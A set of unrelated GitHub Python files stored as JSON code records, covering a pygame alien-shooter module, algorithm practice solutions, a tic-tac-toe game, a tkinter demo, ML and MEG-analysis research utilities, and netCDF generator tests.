fire_bullet(ai_setting,screen,ship,bullets):\n\t\"\"\"如果没有到达限制则发射子弹\"\"\"\n\t#判断屏幕上的子弹是否小于指定的数量\n\tif len(bullets) < ai_setting.bullet_allowed :\n\t\t#创建一颗子弹将其加入到bullets中\n\t\tnew_bullet = Bullet(ai_setting,screen,ship);\n\t\tbullets.add(new_bullet);\n\t\t\ndef get_number_aliens_x(ai_setting,alien_width):\n\t'''计算一行可以容纳多少个外星人'''\n\tavailable_space_x = ai_setting.screen_width - 2*alien_width;\n\tnumbers_alien_x = int(available_space_x/(2*alien_width));\n\treturn numbers_alien_x;\n\t\ndef get_number_rows(ai_setting,ship_height,alien_height):\n\t'''计算屏幕可以容纳多少行外星人'''\n\tavailiable_space_y = ai_setting.screen_height - (3*alien_height) - ship_height;\n\tnumber_rows = int(availiable_space_y/(2*alien_height));\n\treturn number_rows;\n\t\ndef create_alien(ai_setting,screen,ship,aliens,alien_number,row_number):\n\t'''建一个外星人并把其加入当前行'''\n\talien = Alien(ai_setting,screen);\n\talien_width = alien.rect.width;\n\talien.x = alien_width + 2*alien_width * alien_number;\n\talien.rect.x = alien.x;\n\talien.rect.y = ship.rect.height + 5 + alien.rect.height + 2*alien.rect.height*row_number;\n\taliens.add(alien);\n\ndef create_fleet(ai_setting,screen,ship,aliens):\n\t\"\"\"创建外星人群\"\"\"\n\t#创建一个外星人，并计算一行可以容纳多少个外星人\n\t#外星人间距为外星人宽度\n\talien = Alien(ai_setting,screen);\n\tnumbers_alien_x = get_number_aliens_x(ai_setting,alien.rect.width);\n\t\n\tnumber_rows = get_number_rows(ai_setting,ship.rect.height,alien.rect.height);\n\t\n\tfor number_row in range(number_rows):\n\t\t#创建第一行外星人\n\t\tfor alien_number in range(numbers_alien_x + 1):\n\t\t\t#创建一个外星人并把其加入当前行\n\t\t\tcreate_alien(ai_setting,screen,ship,aliens,alien_number,number_row);\n\ndef update_aliens(ai_setting,status,sb,screen,ship,aliens,bullets):\n\t'''更新外星人人群中所有外星人的位置'''\n\tcheck_fleet_edges(ai_setting,aliens);\n\taliens.update();\n\t\n\t#检查外星人和飞船之间的碰撞\n\tif pygame.sprite.spritecollideany(ship,aliens):\n\t\tship_hit(ai_setting,status,sb,screen,ship,aliens,bullets);\n\t\n\t#检查是否有外星人到底底部\n\tcheck_aliens_bottom(ai_setting,status,sb,screen,ship,aliens,bullets);\n\t\ndef check_fleet_edges(ai_setting,aliens):\n\t'''有外星人到达边缘时采取相应措施'''\n\tfor alien in aliens.sprites():\n\t\tif alien.check_edges():\n\t\t\tchange_fleet_direction(ai_setting,aliens);\n\t\t\tbreak;\n\t\t\t\ndef change_fleet_direction(ai_setting,aliens):\n\t'''将整个外星人人群下移并改变方向'''\n\tfor alien in aliens.sprites():\n\t\talien.rect.y += ai_setting.fleet_drop_speed;\n\tai_setting.fleet_direction *= -1;\n\t\ndef ship_hit(ai_setting,status,sb,screen,ship,aliens,bullets):\n\t\"\"\"响应被外星人撞到飞船\"\"\"\n\tif status.ship_left > 0:\n\t\t#将ship_left减1\n\t\tstatus.ship_left -= 1;\n\t\t\n\t\t#更新记分牌\n\t\tsb.prep_score();\n\t\tsb.prep_ship();\n\t\t\n\t\t#清空外星人列表和子弹列表\n\t\taliens.empty();\n\t\tbullets.empty();\n\t\t\n\t\t#创建一群新的外星人，并把飞船放到屏幕底端中央\n\t\tcreate_fleet(ai_setting,screen,ship,aliens);\n\t\tship.center_ship();\n\t\t\n\t\t#暂停\n\t\tsleep(0.5);\n\telse:\n\t\tstatus.game_active = False;\n\t\t#让光标可见\n\t\tpygame.mouse.set_visible(True);\n\t\ndef check_aliens_bottom(ai_setting,status,sb,screen,ship,aliens,bullets):\n\t\"\"\"检查是否有外星人到达屏幕底端\"\"\"\n\tscreen_rect = screen.get_rect();\n\tfor alien in aliens.sprites():\n\t\tif alien.rect.bottom >= screen_rect.bottom:\n\t\t\t#外星人撞到屏幕底部，飞船也销毁\n\t\t\tship_hit(ai_setting,status,sb,screen,ship,aliens,bullets);\n\t\t\tbreak;\n\t\t\t\ndef check_high_score(status,sb):\n\t\"\"\"检查是否产生了新的最高分\"\"\"\n\tif status.score > status.high_score:\n\t\tstatus.high_score = status.score;\n\t\tsb.prep_high_score();\n","repo_name":"422518490/alien_invasion","sub_path":"game_function.py","file_name":"game_function.py","file_ext":"py","file_size_in_byte":7584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"21674099790","text":"\"\"\"\n @author: HimanshuMittal01\n @organization: ripiktech\n\"\"\"\n\nimport random\nimport numpy as np\nfrom datetime import datetime\nfrom collections import defaultdict\nfrom typing import List, Any, Tuple, Callable, Optional, Union\nfrom .constants import BatchSizeLinking\n\n\nclass RandomizedSet(object):\n    def __init__(self) -> None:\n        self._map = {}\n        self._list = []\n\n    def add(self, val: Any) -> None:\n        if val not in self._map:\n            self._list.append(val)\n            self._map[val] = len(self._list) - 1\n\n    def discard(self, val: Any) -> None:\n        if val in self._map:\n            n = len(self._list)\n            i = self._map[val]\n            if i != n - 1:\n                tmp = self._list[n - 1]\n                self._list[n - 1] = val\n                self._list[i] = tmp\n                self._map[tmp] = i\n            del self._map[val]\n            self._list.pop()\n\n    def get_random(self) -> Any:\n        return random.choice(self._list)\n\n    def get_length(self) -> int:\n        return len(self._list)\n\n    def __iter__(self):\n        return self._list.__iter__()\n\n    def __contains__(self, val: Any):\n        return val in self._map\n\n\nclass DSU:\n    def __init__(self) -> None:\n        self.parents = {}\n        self.ranks = {}\n\n    def exists(self, x):\n        return x in self.parents\n\n    def add(self, x):\n        self.parents[x] = x\n        self.ranks[x] = 1\n\n    def find(self, x):\n        if not self.exists(x):\n            return x\n\n        if self.parents[x] == x:\n            return x\n        self.parents[x] = self.find(self.parents[x])\n        return self.parents[x]\n\n    def union(self, x, y):\n        if not self.exists(x):\n            self.add(x)\n        if not self.exists(y):\n            self.add(y)\n\n        x = self.find(x)\n        y = self.find(y)\n\n        if x == y:\n            return\n\n        if self.ranks[x] < self.ranks[y]:\n            x, y = y, x\n        self.parents[y] = x\n        if self.ranks[x] == self.ranks[y]:\n            self.ranks[x] += 1\n\n\n# Optional[Callable[[Any, float]]]\ndef merge_intervals(\n    arr: List[Any], keyL=lambda x: x[0], keyR=lambda x: x[1]\n) -> List[Tuple[float, float]]:\n    \"\"\"Merge intervals algorithm: O(n)\"\"\"\n    if len(arr) == 0:\n        return arr\n\n    arr.sort(key=keyL)\n\n    merged_intervals = []\n    curr_L = keyL(arr[0])\n    curr_R = keyR(arr[0])\n    for interval in arr[1:]:\n        start_time, end_time = keyL(interval), keyR(interval)\n\n        if start_time <= curr_R:\n            curr_R = max(curr_R, end_time)\n        else:\n            merged_intervals.append([curr_L, curr_R])\n            curr_L = start_time\n            curr_R = end_time\n\n    merged_intervals.append([curr_L, curr_R])\n    return merged_intervals\n\n\ndef close_subtract(a: float, b: float) -> float:\n    \"\"\"Subtract b from a\"\"\"\n    return 0 if np.isclose(a, b) else a - b\n\n\ndef get_num_hours(start: Union[str, datetime], end: Union[str, datetime]):\n    \"\"\"Calculate num hours between end and start\"\"\"\n    if isinstance(start, str):\n        start = datetime.strptime(start, \"%Y-%m-%d %H:%M:%S\")\n    if isinstance(end, str):\n        end = datetime.strptime(end, \"%Y-%m-%d %H:%M:%S\")\n\n    assert end >= start\n    secs = (end - start).total_seconds()\n    return np.round(secs / 3600, 1)\n\n\ndef multidict(k: int, t: Callable[[], Any]):\n    assert k > 0\n\n    def _multidict(k: int):\n        if k == 1:\n            return defaultdict(t)\n        return defaultdict(lambda: _multidict(k - 1))\n\n    return _multidict(k)\n\n\ndef compare_linking_op(available: float, needed: float, mode: int) -> bool:\n    diff = close_subtract(available, needed)\n\n    if mode == BatchSizeLinking.GT.value and diff > 0:\n        return True\n    elif mode == BatchSizeLinking.GE.value and diff >= 0:\n        return True\n    elif mode == BatchSizeLinking.EQ.value and diff == 0:\n        return True\n    elif mode == BatchSizeLinking.LE.value and diff <= 0:\n        return True\n    elif mode == BatchSizeLinking.LT.value and diff < 0:\n        return True\n    elif mode == BatchSizeLinking.NA.value:\n        return True\n\n    return False\n","repo_name":"Vishruth-N/Ripik_Test","sub_path":"optimus/utils/general.py","file_name":"general.py","file_ext":"py","file_size_in_byte":4079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"39839357752","text":"n = int(input())\nli = [list(map(int, input().split())) for _ in range(n)]\ncheck = []\n\nfor i in range(n):\n    cnt = 0\n    for j in range(n):\n        if li[i][0] < li[j][0] and li[i][1]< li[j][1]:\n            cnt += 1\n    check.append(cnt + 1)\n\nfor k in check:\n    print(k, end=\" \")\n","repo_name":"vanellotree/daily-algorithm","sub_path":"BOJ/bruteforcing/07568-덩치.py","file_name":"07568-덩치.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"33299615193","text":"# write your code here\ndef convertir_coords(x, y):\n    return int(x) - 1 + (3 - int(y)) * 3\n\n\ndef compteur_cases(cells):\n    x_counter = 0\n    o_counter = 0\n    for char in cells:\n        if char == 'X':\n            x_counter += 1\n        if char == 'O':\n            o_counter += 1\n    if abs(x_counter - o_counter) >= 2:\n        return \"trop de XO\"\n    if x_counter + o_counter == 9:\n        return \"complet\"\n\n\nendgame = False\nwinner = '-'\ntwo_winners = False\ncells = '_________'\ntour_X = True\n\nwhile not endgame:\n    case_valide = False\n    case_x = -1\n    case_y = -1\n\n    while not case_valide:\n        case_x, case_y = input(\"Enter the coordinates: \").split()\n        if not case_x.isdigit() or not case_y.isdigit():\n            print(\"You should enter numbers!\")\n        elif not 0 <= int(case_x) <= 3 or not 0 <= int(case_y) <= 3:\n            print(\"Coordinates should be from 1 to 3!\")\n        elif cells[convertir_coords(int(case_x), int(case_y))] != '_':\n            print(\"This cell is occupied! Choose another one!\")\n\n        else:\n            case_valide = True\n\n    if tour_X:\n        cells = cells[:convertir_coords(case_x, case_y)] + 'X' + cells[convertir_coords(case_x, case_y) + 1:]\n    elif not tour_X:\n        cells = cells[:convertir_coords(case_x, case_y)] + 'O' + cells[convertir_coords(case_x, case_y) + 1:]\n    print(\"---------\")\n    print(\"| \" + cells[0] + \" \" + cells[1] + \" \" + cells[2] + \" |\")\n    print(\"| \" + cells[3] + \" \" + cells[4] + \" \" + cells[5] + \" |\")\n    print(\"| \" + cells[6] + \" \" + cells[7] + \" \" + cells[8] + \" |\")\n    print(\"---------\")\n\n    if cells[0] == cells[1] and cells[1] == cells[2]:\n        if winner != '-':\n            two_winners = True\n        if cells[0] == 'X':\n            endgame = True\n            winner = 'X'\n        elif cells[0] == 'O':\n            endgame = True\n            winner = 'O'\n    if cells[3] == cells[4] and cells[4] == cells[5]:\n        if winner != '-':\n            two_winners = True\n        if cells[3] == 'X':\n            endgame = True\n            winner = 'X'\n        elif cells[3] == 'O':\n            endgame = True\n            winner = 'O'\n    if cells[6] == cells[7] and cells[7] == cells[8]:\n        if winner != '-':\n            two_winners = True\n        if cells[6] == 'X':\n            endgame = True\n            winner = 'X'\n        elif cells[6] == 'O':\n            endgame = True\n            winner = 'O'\n    if cells[0] == cells[3] and cells[3] == cells[6]:\n        if winner != '-':\n            two_winners = True\n        if cells[0] == 'X':\n            endgame = True\n            winner = 'X'\n        elif cells[0] == 'O':\n            endgame = True\n            winner = 'O'\n    if cells[1] == cells[4] and cells[4] == cells[7]:\n        if winner != '-':\n            two_winners = True\n        if cells[1] == 'X':\n            endgame = True\n            winner = 'X'\n        elif cells[1] == 'O':\n            endgame = True\n            winner = 'O'\n    if cells[2] == cells[5] and cells[5] == cells[8]:\n        if winner != '-':\n            two_winners = True\n        if cells[2] == 'X':\n            endgame = True\n            winner = 'X'\n        elif cells[2] == 'O':\n            endgame = True\n            winner = 'O'\n    if cells[0] == cells[4] and cells[4] == cells[8]:\n        if winner != '-':\n            two_winners = True\n        if cells[0] == 'X':\n            endgame = True\n            winner = 'X'\n        elif cells[0] == 'O':\n            endgame = True\n            winner = 'O'\n    if cells[2] == cells[4] and cells[4] == cells[6]:\n        if winner != '-':\n            two_winners = True\n        if cells[2] == 'X':\n            endgame = True\n            winner = 'X'\n        elif cells[2] == 'O':\n            endgame = True\n            winner = 'O'\n\n    if compteur_cases(cells) == \"trop de XO\" or two_winners:\n        print('Impossible')\n    elif compteur_cases(cells) == \"complet\" and winner == '-':\n        endgame = True\n        print('Draw')\n    elif winner == 'X':\n        print('X wins')\n    elif winner == 'O':\n        print('O wins')\n    elif winner == '-':\n        print('Game not finished')\n\n    tour_X = not tour_X\n","repo_name":"nik498/TutoPython","sub_path":"tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":4145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"27667766709","text":"class Solution:\n    def solve(self, board):\n        \"\"\"\n        Do not return anything, modify board in-place instead.\n        \"\"\"\n        readed = set()\n\n        def search(i, j):\n            if i == -1 or i == len(board) or j == -1 or j == len(board[0]):\n                return False\n            if board[i][j] == \"X\":\n                return True\n            board[i][j] = \"X\"\n            candi = [(i - 1, j), (i + 1, j), (i, j - 1), (i, j + 1)]\n            flg = []\n            for ix, iy in candi:\n                if f\"{ix}-{iy}\" in readed:\n                    continue\n                rs = search(ix, iy)\n                flg.append(rs)\n            # print(board)\n                readed.add(f\"{i}-{j}\")\n\n            print(i, j, flg, sum(flg))\n\n            if sum(flg) != 4:\n                board[i][j] = \"O\"\n                return False\n            return True\n\n        for i in range(len(board)):\n            for j in range(len(board[0])):\n                if board[i][j] == \"O\" and f\"{i}-{j}\" not in readed:\n                    search(i, j)\n                    readed.add(f\"{i}-{j}\")\n        # search(0, 0)\n        for i in board:\n            print(i)\n\n\ns = Solution()\nboard = [\n     [\"X\",\"O\",\"X\",\"X\", \"O\"],\n     [\"X\",\"X\",\"O\",\"X\", \"X\"],\n     [\"X\",\"O\",\"X\",\"O\", \"X\"],\n     [\"O\",\"X\",\"X\",\"X\", \"X\"]\n         ]\n# board = [[\"X\"]]\nboard = [[\"O\",\"O\",\"O\"],\n         [\"O\",\"O\",\"O\"],\n         [\"O\",\"O\",\"O\"]\n         ]\nboard = [[\"X\",\"X\",\"X\",\"X\"],\n         [\"X\",\"O\",\"O\",\"X\"],\n         [\"X\",\"X\",\"O\",\"X\"],\n         [\"X\",\"O\",\"X\",\"X\"]]\ns.solve(board)","repo_name":"wudangqibujie/my_st","sub_path":"130. 被围绕的区域.py","file_name":"130. 被围绕的区域.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"38332104925","text":"from tkinter import *\n\nroot=Tk()\nroot.geometry(\"500x500\")\nroot.title(\"Hey This Is Title\")\n\nPizza = [\n    \"Choice The Correct Sentence\",\n    \"Disha Computer Is The World's Best Institute\",\n    \"Anu Is The Best Programmer In The World\",\n    \"Lenovo Is A Laptop Company\",\n    \"Python Is A Worst Language\"\n]\n\nclicked = StringVar()\nclicked.set(\"Choice The Correct Sentence\")\n\nDrop = OptionMenu(root, clicked, *Pizza)\nDrop.place(x=150, y=50)\n\n\nroot.mainloop()\n","repo_name":"Pruthviraj247/PYTHON","sub_path":"16_GUI/Day 4/10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"70329089645","text":"'''\nMiscellaneous utility functions.\n'''\n\nimport os\nimport yaml\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport gif\nimport warnings\nfrom typing import List\n\nimport torch\nimport torch.nn as nn\n\nfrom pytorch_lightning.loggers import TensorBoardLogger\nfrom pytorch_lightning.utilities import rank_zero_only\n\nfrom pathlib import Path\nfrom importlib import import_module\n\n\n'''\nGenerates a side-by-side GIF of the raw data and the model reconstruction for the\ntest dataset; logs the result.\n\nInput:\n    trainer: lightning trainer\n    datamodule: data module\n    model: model to use or none to use best checkpoint\n'''\ndef make_gif(trainer, datamodule, model):\n    #run on test data\n    if model == None:\n        results = trainer.predict(ckpt_path='best', datamodule=datamodule)\n    else:\n        results = trainer.predict(model=model, datamodule=datamodule)\n\n    #agglomerate the data if necessary (if tiling was used)\n    data = datamodule.agglomerate(results)\n\n    print(data.shape)\n\n    #if multichannel then just take first channel\n    if data.shape[-1] > 1:\n        data = data[...,0]\n\n    data = data.squeeze()\n\n    #get plotting function\n    plot_func = datamodule.get_plot_func()\n\n    if plot_func == None:\n        return\n\n    #gif frame closure\n    @gif.frame\n    def plot(i):\n        fig, ax = plt.subplots(1, 2)\n\n        plot_func(datamodule.get_sample(i), ax[0])\n        ax[0].set_title(\"Uncompressed\")\n\n        im = plot_func(data[i,...], ax[1])\n        ax[1].set_title(\"Reconstructed\")\n\n        if datamodule.spatial_dim == 2:\n            # mappable = cm.ScalarMappable(norm=norm, cmap=cmap)\n            fig.colorbar(im, ax=ax.ravel().tolist(), location='bottom')\n\n    #build frames\n    frames = [plot(i) for i in range(data.shape[0])]\n\n    #save gif\n    gif.save(frames, f'{trainer.logger.log_dir}/{\"last\" if model else \"best\"}.gif', duration=50)\n\n    return\n\n'''\nCustom Tensorboard logger; does not log hparams.yaml or the epoch metric.\n'''\nclass Logger(TensorBoardLogger):\n\n    def __init__(self,\n            **kwargs\n        ):\n        super().__init__(**kwargs)\n\n    @rank_zero_only\n    def log_metrics(self, metrics, step):\n        metrics.pop('epoch', None)\n        return super().log_metrics(metrics, step)\n\n    @rank_zero_only\n    def save(self):\n        pass\n\n    @rank_zero_only\n    def log_config(self, config):\n\n        filename = os.path.join(self.log_dir, 'config.yaml')\n        os.makedirs(os.path.dirname(filename), exist_ok=True)\n\n        with open(filename, \"w\") as file:\n            yaml.dump(config, file)\n\n        return\n\n'''\nPackage conv parameters.\n\nInput:\n    kwargs: keyword arguments\n'''\ndef package_args(stages, kwargs, mirror=False):\n\n    for key, value in kwargs.items():\n        if len(value) == 1:\n            kwargs[key] = value*(stages)\n        elif mirror:\n            value.reverse() #inplace\n\n    arg_stack = [{ key : value[i] for key, value in kwargs.items() } for i in range(stages)]\n\n    return arg_stack\n\n'''\nSwap input and output points and channels\n'''\ndef swap(conv_params):\n    swapped_params = conv_params.copy()\n\n    try:\n        temp = swapped_params[\"in_points\"]\n        swapped_params[\"in_points\"] = swapped_params[\"out_points\"]\n        swapped_params[\"out_points\"] = temp\n    except:\n        pass\n\n    try:\n        temp = swapped_params[\"in_channels\"]\n        swapped_params[\"in_channels\"] = swapped_params[\"out_channels\"]\n        swapped_params[\"out_channels\"] = temp\n    except:\n        pass\n\n    return swapped_params\n\n\n\n'''\nLoad in the data and model associated with a given checkpoint\n'''\n\ndef load_checkpoint(path_to_checkpoint, data_path):\n\n    #### Change the entries here to analyze a new model / dataset\n    model_checkpoint_path = Path(path_to_checkpoint)\n    data_path = Path(data_path)\n    ###################\n\n    model_yml = list(model_checkpoint_path.glob('config.yaml'))\n\n    with model_yml[0].open() as file:\n        config = yaml.safe_load(file)\n\n    #extract args\n    #trainer_args = config['train']\n    model_args = config['model']\n    data_args = config['data']\n    data_args['data_dir'] = data_path\n    #misc_args = config['misc']\n\n    checkpoint = list(model_checkpoint_path.rglob('epoch=*.ckpt'))\n\n    checkpoint_dict = torch.load(checkpoint[0])\n\n    state_dict = checkpoint_dict['state_dict']\n\n    #setup datamodule\n    module = import_module('core.' + data_args.pop('module'))\n    datamodule = module.DataModule(**data_args)\n    datamodule.setup(stage='analyze')\n    dataset, points = datamodule.analyze_data()\n\n    #build model\n    module = import_module('core.' + model_args.pop('type') + '.model')\n    model = module.Model(**model_args, data_info = datamodule.get_data_info())\n\n    del_list = []\n    for key in state_dict:\n        if 'eval_indices' in key:\n            del_list.append(key)\n\n    for key in del_list:\n        del state_dict[key]\n\n    model.load_state_dict(state_dict, strict=False)\n    model.eval()\n    model.to('cpu')\n\n    return model, dataset, points","repo_name":"kvndhrty/QuadConv","sub_path":"core/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"15730038980","text":"from graph_from_txt import read_graph\n\ndef clustering_coefficient(network, node): # book's from in-text\n    \"\"\"Compute the local clustering coefficient for a node.\n\n    Args:\n        network (dict): a graph represented by a dictionary\n        node: a node in the network\n\n    Returns:\n        (float): the local clustering coefficient of node.\n    \"\"\"\n    neighbors = network[node]\n    num_neighbors = len(neighbors)\n    if num_neighbors <= 1:\n        return 0\n    num_links = 0\n    for index1 in range(len(neighbors) - 1):\n        for index2 in range(index1 + 1, len(neighbors)):\n            neighbor1 = neighbors[index1]\n            neighbor2 = neighbors[index2]\n            if neighbor1 != neighbor2 and neighbor1 in network[neighbor2]:\n                num_links += 1\n    return num_links / (num_neighbors * (num_neighbors - 1) / 2)\n\ndef average_clustering_coefficient(network):\n    \"\"\"Returns the average local clustering coefficient for a network.\"\"\"\n    coefficients = 0\n    for key in network:\n        coefficients += clustering_coefficient(network, key)\n    return coefficients / len(network)\n\nnetwork = read_graph('grid.txt')\nprint(average_clustering_coefficient(network))\n\nnetwork = read_graph('clusters.txt')\nprint(average_clustering_coefficient(network))\n\n","repo_name":"B-T-D/DCS_work_backup","sub_path":"CH12_networks/exercises_12_3/_1_average_clustering.py","file_name":"_1_average_clustering.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"7621114767","text":"import numpy as np\nimport mne\nimport argparse\nimport pickle\nfrom statsmodels.regression.mixed_linear_model import MixedLM\nimport pandas as pd\nimport warnings\nfrom os.path import isdir\nwarnings.filterwarnings(\"ignore\")\n\ndef load_sparse(filename,convert=True,full=False,nump_type=\"float32\"):\n    with open(filename,\"rb\") as f:\n        result = pickle.load(f)\n    if convert:\n        full_mat = np.zeros(result[\"mat_sparse\"].shape[:-1] + \\\n          (result[\"mat_res\"],result[\"mat_res\"])).astype(nump_type)\n        full_mat[...,result[\"mat_inds\"][0],result[\"mat_inds\"][1]] = \\\n          result[\"mat_sparse\"]\n        result = full_mat\n    return result\n\ndef phi(mat, k=0):\n    if len(mat.shape)>2:\n        triu_inds = np.triu_indices(mat.shape[1],k=k)\n        return mat[...,triu_inds[0],triu_inds[1]]\n    else:\n        triu_inds = np.triu_indices(mat.shape[0],k=k)\n        return mat[triu_inds[0],triu_inds[1]]\n\n'''\nthis function fits a model for each possible point of observation (e.g. vertex, voxel)\nformula is the formula parameter which gets passed on to statsmodels MixedLM,\ndata is a pandas dataframe which contains the independent variables\nuv_data is a 2d numpy array where the first dimension is the number of observations\n and the 2nd is the number of points of observations - the length of the 1st dimension\n must match the number of rows in the data variable\ngroup_id is a 1d numpy array with length number of observations\n'''\ndef mass_uv_mixedlmm(formula, data, uv_data, group_id):\n    mods = []\n    for d_idx in range(uv_data.shape[1]):\n        print(\"{} of {}\".format(d_idx, uv_data.shape[1]),\n                                flush=True)\n        data_temp = data.copy()\n        data_temp[\"Brain\"] = uv_data[:,d_idx]\n        model = MixedLM.from_formula(formula, data_temp, groups=group_id)\n        try:\n            mod_fit = model.fit(reml=False)\n        except:\n            mods.append(None)\n            continue\n        mods.append(mod_fit)\n    return mods\n\n# get command line parameters\nparser = argparse.ArgumentParser()\nparser.add_argument('--band', type=str, required=True)\nparser.add_argument('--noZ', action=\"store_true\")\nopt = parser.parse_args()\n\nsubjs = [\"ATT_10\", \"ATT_11\", \"ATT_12\", \"ATT_13\", \"ATT_14\", \"ATT_15\", \"ATT_16\",\n         \"ATT_17\", \"ATT_18\", \"ATT_19\", \"ATT_20\", \"ATT_21\", \"ATT_22\", \"ATT_23\",\n         \"ATT_24\", \"ATT_25\", \"ATT_26\", \"ATT_28\", \"ATT_31\", \"ATT_33\", \"ATT_34\",\n         \"ATT_35\", \"ATT_36\", \"ATT_37\"]\n\nif isdir(\"/home/jev\"):\n    root_dir = \"/home/jev/ATT_dat/\"\nelif isdir(\"/home/jeffhanna/\"):\n    root_dir = \"/scratch/jeffhanna/ATT_dat/\"\nproc_dir = root_dir+\"proc/\"\n\n# parameters and setup\nproc_dir = root_dir + \"proc/\"\nout_dir = root_dir + \"lmm/\"\nconds = [\"rest\",\"audio\",\"visual\",\"visselten\",\"zaehlen\"]\nz_name = {}\nband = opt.band\nno_Z = opt.noZ\nz_name = \"\"\nif no_Z:\n    conds = [\"rest\",\"audio\",\"visual\",\"visselten\"]\n    z_name = \"no_Z\"\n\n'''\nbuild up the dataframes and group_id which will eventually be passed to\nmass_uv_lmm. We will build two models here. \"Simple\" will make only one contrast:\nresting state and task. \"Cond\" makes distinctions for the different conditions.\n'''\n\ndata = []\npredictor_vars = (\"Subj\",\"Block\")\ndm_simple = pd.DataFrame(columns=predictor_vars)\ndm_cond = dm_simple.copy()\ngroup_id = []\nfor sub_idx,sub in enumerate(subjs):\n    for cond_idx,cond in enumerate(conds):\n        # we actually only need the dPTE to get the number of trials\n        data_temp = load_sparse(\"{}nc_{}_{}_dPTE_{}.sps\".format(proc_dir, sub,\n                                                                cond, band))\n        for epo_idx in range(data_temp.shape[0]):\n            c = cond if cond == \"rest\" else \"task\"\n            dm_simple = dm_simple.append({\"Subj\":sub, \"Block\":c}, ignore_index=True)\n            dm_cond = dm_cond.append({\"Subj\":sub, \"Block\":cond}, ignore_index=True)\n            data.append(phi(data_temp[epo_idx,], k=1)) # flatten upper diagonal of connectivity matrix, add it to the list\n            group_id.append(sub_idx)\ndata = np.array(data)\ngroup_id = np.array(group_id)\n\n'''\nFinally, pass the variables along to mass_uv_lmm, for null, simple, and cond.\nThe function returns a list of fitted LMM; each list member is a model fitted\nat a point of observation (e.g. vertex, voxel). Then save each member of the list.\n'''\n\nformula = \"Brain ~ 1\"\nmods_null = mass_uv_mixedlmm(formula, dm_simple, data, group_id)\nfor mod_idx,mod in enumerate(mods_null):\n    if mod == None:\n        continue\n    mod.save(\"{}{}/null_reg70_lmm_{}{}.pickle\".format(out_dir,opt.band,mod_idx,\n                                                      z_name))\n\nformula = \"Brain ~ C(Block, Treatment('rest'))\"\nmods_simple = mass_uv_mixedlmm(formula, dm_simple, data, group_id)\nfor mod_idx,mod in enumerate(mods_simple):\n    if mod == None:\n        continue\n    mod.save(\"{}{}/simple_reg70_lmm_{}{}.pickle\".format(out_dir,opt.band,mod_idx,\n                                                        z_name))\n\nformula = \"Brain ~ C(Block, Treatment('rest'))\"\nmods_cond = mass_uv_mixedlmm(formula, dm_cond, data, group_id)\nfor mod_idx,mod in enumerate(mods_cond):\n    if mod == None:\n        continue\n    mod.save(\"{}{}/cond_reg70_lmm_{}{}.pickle\".format(out_dir,opt.band,mod_idx,\n                                                      z_name))\n","repo_name":"TinnErlangen/ATT","sub_path":"cnx/cnx_lmm_compare.py","file_name":"cnx_lmm_compare.py","file_ext":"py","file_size_in_byte":5281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"72224106602","text":"# -*- coding: utf-8 -*-\nimport unittest\nimport tempfile\nimport math\nimport numpy as np\nfrom numpy import dtype\n\nfrom pupynere import netcdf_file, nc_generator\n\nVAR_NAME = 'temp'\nVAR_TYPE = 'f4'\nVAR_VAL = math.pi\n\nn1dim = 4\nn2dim = 10\nn3dim = 8\nranarr = 100.*np.zeros(shape=(n1dim,n2dim,n3dim))\n\nclass TestGeneratorNonrecvars(unittest.TestCase):\n\n    def runTest(self):\n        f = netcdf_file(None, 'w')\n        temp = f.createVariable(VAR_NAME, dtype(VAR_TYPE))\n        temp.assignValue(VAR_VAL)\n\n        # Test filesize property of a virtual file with nonrecvars\n        assert f.filesize == 68\n\n        # Test generator\n        pipeline = nc_generator(f, iter(np.array([temp.data])))\n        with tempfile.NamedTemporaryFile(suffix=\".nc\") as fn:\n            for block in pipeline:\n                fn.write(block)\n\n            fn.flush()\n            nc = netcdf_file(fn.name, 'r')\n            assert VAR_NAME in nc.variables.keys()\n            assert nc.variables[VAR_NAME].data == np.float32(VAR_VAL)\n            assert nc.variables[VAR_NAME].dtype == dtype('>f4')\n\n            nc.close()\n\n        f.close()\n\n\nclass TestGeneratorRecvars(unittest.TestCase):\n\n    def runTest(self):\n        keys = ('n1','n2','n3')\n        dims = [None, n2dim, n3dim]\n\n        f = netcdf_file(None, 'w')\n        for i in range(len(keys)):\n            f.createDimension(keys[i], dims[i])\n        foo = f.createVariable('data1', ranarr.dtype, keys)\n\n        # write some data to it.\n        foo[:] = ranarr\n        foo[n1dim:,:,:] = 2.*ranarr\n\n        with self.assertRaises(ValueError):\n            f.filesize\n\n        # Test generator\n        pipeline = nc_generator(f, iter(foo.data))\n        with tempfile.NamedTemporaryFile(suffix=\".nc\") as fn:\n            for block in pipeline:\n                fn.write(block)\n\n            fn.flush()\n            nc = netcdf_file(fn.name, 'r')\n            assert 'data1' in nc.variables.keys()\n            for i, n in enumerate(keys):\n                assert n in nc.dimensions.keys()\n                assert nc.dimensions[n] == dims[i]\n                assert nc.filesize == 5236\n            nc.close()\n\n        f.close()\n","repo_name":"pacificclimate/pupynere-pdp","sub_path":"tests/test_generators.py","file_name":"test_generators.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
